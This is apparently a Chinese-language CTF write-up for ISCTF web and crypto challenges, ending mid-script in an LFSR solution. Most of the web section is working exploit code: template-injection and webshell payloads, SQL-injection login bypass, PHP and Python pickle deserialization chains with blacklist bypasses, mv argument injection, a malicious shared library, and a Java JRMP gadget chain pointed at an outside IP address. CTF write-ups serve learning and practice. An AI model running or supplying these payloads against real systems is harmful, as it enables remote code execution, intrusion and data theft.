WEB
难过的bottle
bottle框架的template SSTI
{{ __import__('\157\163').popen('\143\141\164\040\057\146\154\141\147').read() }}
b@by n0t1ce b0ard

注册头像传个php即可
路径是/images/邮箱/文件名

whoami
nm等半天 靶机才打开,得排队说是
登录劫持type为0 可以查看源码
from flask import Flask,request,render_template,redirect,url_for
import json
import pydash
app=Flask(__name__)
database={}
data_index=0
name=''
@app.route('/',methods=['GET'])
def index():
return render_template('login.html')
@app.route('/register',methods=['GET'])
def register():
return render_template('register.html')
@app.route('/registerV2',methods=['POST'])
def registerV2():
username=request.form['username']
password=request.form['password']
password2=request.form['password2']
if password!=password2:
return '''
<script>
alert('前后密码不一致,请确认后重新输入。');
window.location.href='/register';
</script>
'''
else:
global data_index
data_index+=1
database[data_index]=username
database[username]=password
return redirect(url_for('index'))
@app.route('/user_dashboard',methods=['GET'])
def user_dashboard():
return render_template('dashboard.html')
@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
def A272e1739b89da32e983970ece1a086bd():
return render_template('admin.html')
@app.route('/operate',methods=['GET'])
def operate():
username=request.args.get('username')
password=request.args.get('password')
confirm_password=request.args.get('confirm_password')
if username in globals() and "old" not in password:
Username=globals()[username]
try:
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"
else:
return "oprate failed"
@app.route('/user/name',methods=['POST'])
def name():
return {'username':user}
def logout():
return redirect(url_for('index'))
@app.route('/reset',methods=['POST'])
def reset():
old_password=request.form['old_password']
new_password=request.form['new_password']
if user in database and database[user] == old_password:
database[user]=new_password
return '''
<script>
alert('密码修改成功,请重新登录。');
window.location.href='/';
</script>
'''
else:
return '''
<script>
alert('密码修改失败,请确认旧密码是否正确。');
window.location.href='/user_dashboard';
</script>
'''
@app.route('/impression',methods=['GET'])
def impression():
point=request.args.get('point')
if len(point) > 5:
return "Invalid request"
List=["{","}",".","%","<",">","_"]
for i in point:
if i in List:
return "Invalid request"
return render_template(point)
@app.route('/login',methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
type=request.form['type']
if username in database and database[username] != password:
return '''
<script>
alert('用户名或密码错误请重新输入。');
window.location.href='/';
</script>
'''
elif username not in database:
return '''
<script>
alert('用户名或密码错误请重新输入。');
window.location.href='/';
</script>
'''
else:
global name
name=username
if int(type)==1:
return redirect(url_for('user_dashboard'))
elif int(type)==0:
return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))
if __name__=='__main__':
app.run(host='0.0.0.0',port=8080,debug=False)
def operate():
username=request.args.get('username')
password=request.args.get('password')
confirm_password=request.args.get('confirm_password')
if username in globals() and "old" not in password:
Username=globals()[username]
try:
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"
else:
return "oprate failed"
可以通过usernmae控制global属性
可以通过修改静态文件目录为/
直接可以读flag
想修改template_folder发现不能出现old,于是修改jinja_loader.searchpath
Jinja loader 是个文件系统 loader,能让你注入新的模板搜索路径。其中第1个元素是./templates路径
然后修改app属性
pydash使用.表示属性路径
http://challenge.bluesharkinfo.com:24388/operate?username=app&password=jinja_loader.searchpath.0&confirm_password=/
http://challenge.bluesharkinfo.com:24388/impression?point=flag
flag到底在哪
开局一个403,直接访问robots.txt
User-agent: *
Disallow: /admin/login.php

提示username为 admin爆破密码?爆破不出来。sql注入?不是,下一题才是SQL

偶然尝试发现会检测密码是不是' OR '1'='1 sb
所以可以用' OR '1'='1登录

文件上传
没过滤直接传
<?php system($_GET[1]);

Bypass
<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a,$b);
eval($a.$b);
}
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a,$b)){
$a("", $b);
}
else{
echo "Try again!";
}
}
private function check($a, $b) {
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
$blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];
$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
$pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';
if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
return false;
}
return true;
}
}
if (isset($_GET['exp'])) {
$p = unserialize($_GET['exp']);
var_dump($p);
}else{
highlight_file("index.php");
}
使用create_function
黑名单字符可以有取反绕过
<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
$sys = ~"system";
$cmd = ~"cat /flag";
$payload_code = '}$i=(~"'.$sys.'");$i(~"'.$cmd.'");/*';
$obj = new FLAG("create_function", $payload_code);
$serialized = serialize($obj);
echo urlencode($serialized);
?>
ezrce
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
$code = $_GET['code'];
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}else{
die('师傅,你想拿flag?');
}
}
http://challenge.bluesharkinfo.com:24119?code=eval(end(current(get_defined_vars())));&b=system('cat /flag');
来签个到吧
<?php
class FileLogger {
public $logfile = "/tmp/notehub.log";
public $content = "";
}
$a=new FileLogger();
$a->logfile='/var/www/html/a.php';
$a->content='<?php system($_GET[1]);';
echo "blueshark:".serialize($a);
mv_upload
以为作者二倍让我做黑盒,后来给了提示,原来是我二倍

访问index.php~拿到源码
<?php
$uploadDir = '/tmp/upload/'; // 临时目录
$targetDir = '/var/www/html/upload/'; // 存储目录
$blacklist = [
'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax", "swf","ini"
];
$message = '';
$filesInTmp = [];
// 创建目标目录
if (!is_dir($targetDir)) {
mkdir($targetDir, 0755, true);
}
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
// 上传临时目录
if (isset($_POST['upload']) && !empty($_FILES['files']['name'][0])) {
$uploadedFiles = $_FILES['files'];
foreach ($uploadedFiles['name'] as $index => $filename) {
if ($uploadedFiles['error'][$index] !== UPLOAD_ERR_OK) {
$message .= "文件 {$filename} 上传失败。<br>";
continue;
}
$tmpName = $uploadedFiles['tmp_name'][$index];
$filename = trim(basename($filename));
if ($filename === '') {
$message .= "文件名无效,跳过。<br>";
continue;
}
$fileParts = pathinfo($filename);
$extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';
$extension = trim($extension, '.');
if (in_array($extension, $blacklist)) {
$message .= "文件 {$filename} 因类型不安全(.{$extension})被拒绝。<br>";
continue;
}
$destination = $uploadDir . $filename;
if (move_uploaded_file($tmpName, $destination)) {
$message .= "文件 {$filename} 已上传至 $uploadDir$filename 。<br>";
} else {
$message .= "文件 {$filename} 移动失败。<br>";
}
}
}
// 获取临时目录中的所有文件
if (is_dir($uploadDir)) {
$handle = opendir($uploadDir);
if ($handle) {
while (($file = readdir($handle)) !== false) {
if (is_file($uploadDir . $file)) {
$filesInTmp[] = $file;
}
}
closedir($handle);
}
}
// 处理确认上传完毕(移动文件)
if (isset($_POST['confirm_move'])) {
if (empty($filesInTmp)) {
$message .= "没有可移动的文件。<br>";
} else {
$output = [];
$returnCode = 0;
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
if ($returnCode === 0) {
foreach ($filesInTmp as $file) {
$message .= "已移动文件: {$file} 至$targetDir$file<br>";
}
} else {
$message .= "移动文件失败: " .implode(', ', $output)."<br>";
}
}
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>多文件上传服务</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
.container { max-width: 800px; margin: auto; }
.alert { padding: 10px; margin: 10px 0; background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
.success { background: #d4edda; color: #155724; border-color: #c3e6cb; }
ul { list-style-type: none; padding: 0; }
li { margin: 5px 0; padding: 5px; background: #f0f0f0; }
</style>
</head>
<body>
<div class="container">
<h2>多文件上传服务</h2>
<?php if ($message): ?>
<div class="alert <?= strpos($message, '失败') ? '' : 'success' ?>">
<?= $message ?>
</div>
<?php endif; ?>
<form method="POST" enctype="multipart/form-data">
<label for="files">选择文件:</label><br>
<input type="file" name="files[]" id="files" multiple required>
<button type="submit" name="upload">上传到临时目录</button>
</form>
<hr>
<h3>待确认上传文件</h3>
<?php if (empty($filesInTmp)): ?>
<p>暂无待确认上传文件</p>
<?php else: ?>
<ul>
<?php foreach ($filesInTmp as $file): ?>
<li><?= htmlspecialchars($file) ?></li>
<?php endforeach; ?>
</ul>
<form method="POST">
<button type="submit" name="confirm_move">确认上传完毕,移动到存储目录</button>
</form>
<?php endif; ?>
</div>
</body>
</html>
有源码都好说
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
一眼顶真可以打参数注入 ,不过还是让我看了好一会
-S, --suffix=SUFFIX override the usual backup suffix
在mv里面我看到了这个参数,可以修改备份的后缀
所以可以先传一个1.p 文件,传到/var/www/html/upload
然后再传一个名为 --suffix=hp的文件,当作参数注入
之后再传一个1.p文件,移动的时候就会把前面那个1.p文件备份成 1.php文件

flag?我就借走了
软连接秒了
Regretful_Deser
黑名单
org.apache.commons.collections
javax.swing
com.sun.rowset
com.sun.org.apache.xalan
java.security
java.rmi.MarshalledObject
javax.management.remote.rmi.RMIConnector
hibernate反序列化 12 都用不了,二次反序列也被ban了,不过hilbernate可以实现调用任意getter,那就找getter
网上搜索发现,作者写过但是把文章删了,不过还是泄露关键信息
其实他找的getter就是sun.rmi.server.ActivatableRef#getRef

可以打JRMP
package org.example.isctf;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;
import sun.rmi.server.ActivatableRef;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.activation.ActivationID;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.HashMap;
import java.util.Random;
/**
* @ClassName exp1
* @Description
* @Author Xutao
* @Date 2025年12月04日 11:20
* @Version 1.0
*/public class exp1 {
public static void main(String[] args) throws Exception {
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("117.72.157.7", 1099);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Object proxy = Proxy.newProxyInstance(exp1.class.getClassLoader(), new Class[]{Remote.class, Activator.class}, obj);
ActivationID activationID = new ActivationID((Activator) proxy);
Class<?> refClass = Class.forName("sun.rmi.server.ActivatableRef");
ReflectionFactory rf = ReflectionFactory.getReflectionFactory();
Constructor<?> objCons = Object.class.getDeclaredConstructor();
Constructor<?> sc = rf.newConstructorForSerialization(refClass, objCons);
ActivatableRef activatableRef = (ActivatableRef) sc.newInstance();
setFieldValue(activatableRef, "id", activationID);
Class getterMethodImplClazz= Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
GetterMethodImpl getterMethodImpl= (GetterMethodImpl)getObject(getterMethodImplClazz);
setFieldValue(getterMethodImpl, "getterMethod", refClass.getDeclaredMethod("getRef"));
Class pojoComponentTuplizerClass= Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
PojoComponentTuplizer pojoComponentTuplizer= (PojoComponentTuplizer) getObject(pojoComponentTuplizerClass);
setFieldValue(pojoComponentTuplizer, "getters", new Getter[]{ getterMethodImpl });
Class componentTypeClass= Class.forName("org.hibernate.type.ComponentType");
ComponentType componentType= (ComponentType) getObject(componentTypeClass);
setFieldValue(componentType, "propertySpan", 1);
setFieldValue(componentType, "componentTuplizer", pojoComponentTuplizer);
setFieldValue(componentType, "propertyTypes", new org.hibernate.type.Type[]{(org.hibernate.type.Type) componentType});
TypedValue typedValue=new TypedValue(componentType, null);
HashMap<Object, Object> hashMap1 = new HashMap<>();
hashMap1.put(typedValue, "fuck");
setFieldValue(typedValue,"value",activatableRef);
serialize(hashMap1);
//unserialize();
}
public static void setFieldValue(Object obj, String fieldName, Object value)throws Exception {
Class clazz= obj.getClass();
while (clazz != null) {
try {
Field field= clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
clazz = null;
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
}
public static Object getObject(Class clazz)throws Exception {
ReflectionFactory reflectionFactory= ReflectionFactory.getReflectionFactory();
Constructor constructor= reflectionFactory.newConstructorForSerialization(clazz,Object.class.getDeclaredConstructor());
constructor.setAccessible(true);
return constructor.newInstance();
}
public static void serialize(Object object) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
oos.close();
// 获取序列化后的字节
byte[] bytes = baos.toByteArray();
// Base64 编码
String base64 = java.util.Base64.getEncoder().encodeToString(bytes);
// 输出
System.out.println("Base64 Payload:");
System.out.println(base64);
// 同时写入文件(可选)
FileOutputStream fos = new FileOutputStream("E:\\tao.txt");
fos.write(bytes);
fos.close();
}
public static void unserialize() throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("E:\\tao.txt");
ObjectInputStream objectIntputStream = new ObjectInputStream(fileInputStream);
objectIntputStream.readObject();
objectIntputStream.close();
fileInputStream.close();
}
}
ezpop
<?php
class begin {
public $var1;
public $var2;
}
class starlord {
public $var4;
public $var5;
public $arg1;
}
class anna {
public $var6;
public $var7;
}
class eenndd {
public $command;
}
class flaag {
public $var10;
public $var11="1145141919810";
public function __invoke() {
if (md5(md5($this->var11)) == 666) {
return $this->var10->hey;
}
}
}
$a=new begin();
$a->var1=new anna();
$a->var1->var6=new starlord();
$a->var1->var6->var4=new flaag();
$a->var1->var6->var4->var11=213;
$a->var1->var6->var4->var10=new eenndd();
$a->var1->var6->var4->var10->command="passthru('t'.'ac'.chr(32).'/fl'.'ag');";
echo serialize($a);
include_upload
参考
当include邂逅phar——DeadsecCTF2025 baby-web – fushulingのblog
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
system('cat /f*');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
生成一个phar,然后gzip压缩改名为1.phar.png即可
双生序列
首先是通过$Bridge进入$Shark往/tmp/ssxl/run.bin里面写东西
然后再run.php反序列化$Pytools运行py文件
py会读取/tmp/ssxl/write.binpickle反序列化,注意绕过secret和Set类即可
/tmp/ssxl/write.bin通过$Writer
1.将触发pytools的反序列化流写入/tmp/ssxl/run.bin
<?php
class Bridge {
public $writer;
public $shark;
}
class Shark {
public $ser = "";
}
class Cat {
}
class Pytools extends Cat {
public $log = False;
public $logbuf = "123";
}
$a=new Bridge();
$a->write=new Shark();
$b =new Pytools();
$c=serialize($b);
$a->write->ser=$c;
echo serialize($a);
http://challenge.bluesharkinfo.com:23717/api.php?id=1
2.将base64 编码的pickle 字节流写入tmp/ssxl/write.bin
import pickle
from base64 import b64encode
command = "cat /flag > /tmp/ssxl/outs.txt"
class RCE:
def __reduce__(self):
return (__builtins__.__import__('os').system, (command,))
class Set:
def __init__(self):
self.secret = b""
self.payload = pickle.dumps(RCE(), protocol=0)
def exploit():
set_obj = Set()
pickled_data = pickle.dumps(set_obj, protocol=0)
print(b64encode(pickled_data).decode())
if __name__ == "__main__":
exploit()
<?php
class Writer {
public $b64data ="Y2NvcHlfcmVnCl9yZWNvbnN0cnVjdG9yCnAwCihjX19tYWluX18KU2V0CnAxCmNfX2J1aWx0aW5fXwpvYmplY3QKcDIKTnRwMwpScDQKKGRwNQpWc2VjcmV0CnA2CmNfX2J1aWx0aW5fXwpieXRlcwpwNwoodFJwOApzVnBheWxvYWQKcDkKY19jb2RlY3MKZW5jb2RlCnAxMAooVmNwb3NpeFx1MDAwYXN5c3RlbVx1MDAwYXAwXHUwMDBhKFZjYXQgL2ZsYWcgPiAvdG1wL3NzeGwvb3V0cy50eHRcdTAwMGFwMVx1MDAwYXRwMlx1MDAwYVJwM1x1MDAwYS4KcDExClZsYXRpbjEKcDEyCnRwMTMKUnAxNApzYi4=";
public $binfile = "/tmp/ssxl/write.bin";
public $init = "fetch";
private $secret = "";
}
$bridge = new Writer();
$payload = serialize($bridge);
echo "blueshark:" .$payload;
?>

http://challenge.bluesharkinfo.com:23717/api.php?id=2
最后执行py文件
http://challenge.bluesharkinfo.com:23717/run.php?action=run
load_jvav

直接读源码
if(filename.substring(filename.lastIndexOf(".")).contains("ref")){
byte[] bytes1 = Base64.decodeBase64(bytes);
ByteArrayInputStream bis=new ByteArrayInputStream(bytes1);
ObjectInputStream ois = new safeSer(bis);
ois.readObject();
msg.setData("备份成功");
msg.setCode(1);
return msg;
}
如果包含.ref后缀 base64解码然后反序列化
private static final Set<String> BLACKLIST = new HashSet<>(Arrays.asList(
// Apache Commons Collections 相关类
"org.apache.commons.collections.Transformer",
"org.apache.commons.collections.functors.ChainedTransformer",
"org.apache.commons.collections.functors.ConstantTransformer",
"org.apache.commons.collections.functors.InvokerTransformer",
"org.apache.commons.collections.functors.InstantiateTransformer",
"org.apache.commons.collections.map.DefaultedMap",
"org.apache.commons.collections.map.LazyMap",
"org.apache.commons.collections.map.TransformedMap",
// Commons Collections4
"org.apache.commons.collections4.Transformer",
"org.apache.commons.collections4.functors.ChainedTransformer",
"org.apache.commons.collections4.functors.ConstantTransformer",
"org.apache.commons.collections4.functors.InvokerTransformer",
"org.apache.commons.collections4.functors.InstantiateTransformer",
// 其他常见的危险类
"javax.management.BadAttributeValueExpException",
"java.rmi.server.UnicastRemoteObject",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"com.sun.rowset.JdbcRowSetImpl",
//解决一些非预期问题
"springboot",
"springframework",
"com.fasterxml",
"jackson",
"org.yaml",
"org.thymeleaf"
));
黑名单类
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.exampORRAASDASDaa</groupId>
<artifactId>demo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>jar</packaging>
<name>demo</name>
<description>demo</description>
<properties>
<java.version>1.8</java.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<spring-boot.version>2.6.13</spring-boot.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
</dependencies>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-dependencies</artifactId>
<version>${spring-boot.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>UTF-8</encoding>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
<compilerArgs>
<arg>-XDignore.symbol.file</arg>
</compilerArgs>
<fork>true</fork>
</configuration>
</plugin>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${spring-boot.version}</version>
<configuration>
<mainClass>com.example.start</mainClass>
<finalName>ezJava</finalName>
<!-- <skip>true</skip>-->
</configuration>
<executions>
<execution>
<id>repackage</id>
<goals>
<goal>repackage</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
依赖
不过给了个后门类
package com.example.utile;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Set;
public class YouFindThis implements Serializable {
public Class<?>aClass;
public Class argclass;
public Object input;
public String methed;
public Object args;
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
POFP();
}
public void POFP() {
if(Function.check_reef(this.aClass.getName())){
throw new SecurityException("You are not allowed to leave this class");
}
if(Function.check_reef(this.input.getClass().getName())){
throw new SecurityException("You are not allowed to leave this class");
}
if(Function.check_reef(this.methed)){
throw new SecurityException("You are not allowed to leave this class");
}
try {
Method method = aClass.getMethod(methed,argclass);
method.setAccessible(true);
method.invoke(input,args);
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
}
可以实现任意方法调用,不过ban了一些RCE的方法不过这里可以使用System.load加载恶意so,正好也符合题目名字load_jvav
1.先生成一个恶意so上传
include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("cat /flag/flag.flag > /tmp/aaa");
}
gcc -shared -fPIC exp.c -o exp.so
上传
然后生成恶意反序列化payload
package com.example;
import com.example.utile.YouFindThis;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
public class exp {
public static void main(String[] args) throws Exception {
YouFindThis gadget = new YouFindThis();
gadget.aClass = java.lang.System.class;
gadget.argclass = String.class;
gadget.methed = "load";
gadget.args = "/tmp/exp.so";
gadget.input = "SafeString";
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(gadget);
oos.close();
byte[] payload = baos.toByteArray();
String base64Payload = java.util.Base64.getEncoder().encodeToString(payload);
System.out.println(base64Payload);
}
}
文件名加上.ref触发反序列化
然后读取flag即可
Crypto
easy_RSA
扩展欧几里得
from Crypto.Util.number import long_to_bytes
# Given values
N = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617
ct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455
ct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789
e = 65537
# Function for Extended Euclidean Algorithm
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
# The effective exponents are e and (N+1)
exp1 = e
exp2 = N + 1
# Find coefficients u, v such that u*e + v*(N+1) = 1
g, u, v = egcd(exp1, exp2)
# Recover message: m = ct1^u * ct2^v mod N
# Python's pow(base, exp, mod) handles negative exponents by computing modular inverse
m = (pow(ct1, u, N) * pow(ct2, v, N)) % N
print(long_to_bytes(m))
#ISCTF{Congratulations_you_master_Mathematical_ability}
Power tower
n可以分解
from Crypto.Util.number import long_to_bytes
t = 6039738711082505929
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
c = 114092817888610184061306568177474033648737936326143099257250807529088213565247
p = 127
q = 841705194007
r = 1005672644717572752052474808610481144121914956393489966622615553
phi = (p - 1) * (q - 1) * (r - 1)
E = pow(2, t, phi)
l = pow(2, E, n)
flag_int = c ^ l
flag = long_to_bytes(flag_int)
print(flag)
#ISCTF{Euler_1s_v3ry|useful!!!!!}
小蓝鲨的LFSR系统
import binascii
# 1. 数据准备
initState = [0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0]
outputState = [0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1]
ciphertext_hex = '4b3be165a0a0edd67ca8f143884826725107fd42d6a6'
# 完整的流是 initState + outputState
stream = initState + outputState
# 2. 高斯消元法求解 Mask (GF(2))
def solve_lfsr(stream, N=128):
# 构建矩阵 A 和 向量 b
# Matrix A: rows are state windows
# Vector b: next bits
A = []
b = []
for i in range(N):
A.append(stream[i : i+N])
b.append(stream[i+N])
# 高斯消元
# 转换为增广矩阵
M = [row + [b[i]] for i, row in enumerate(A)]
for i in range(N):
# 寻找主元
pivot = i
while pivot < N and M[pivot][i] == 0:
pivot += 1
if pivot == N:
continue # 无解或多解情况,这里假设数据完好
# 交换行
M[i], M[pivot] = M[pivot], M[i]
# 消元
for j in range(N):
if i != j and M[j][i] == 1:
# 行异或
for k in range(i, N+1):
M[j][k] ^= M[i][k]
# 提取解
mask = [row[N] for row in M]
return mask
# 求解 mask
mask = solve_lfsr(stream)
# 3. 还原 Key
# 代码逻辑: key = bytes(int(''.join(str(bit) for bit in mask[i*8:(i+1)*8]), 2) for i in range(16))
key_bytes = []
for i in range(16):
byte_bits = mask[i*8 : (i+1)*8]
byte_str = ''.join(str(b) for b in byte_bits)
key_bytes.append(int(byte_str, 2))
key = bytes(key_bytes)
print(f"Recovered Key: {key}")
# 4. 解密
# keystream = (key * (len(plaintext)//16 + 1))[:len(plaintext)]
# return bytes(p ^ k for p, k in zip(plaintext, keystream))
ct = binascii.unhexlify(ciphertext_hex)
keystream = (key * (len(ct)//16 + 1))[:len(ct)]
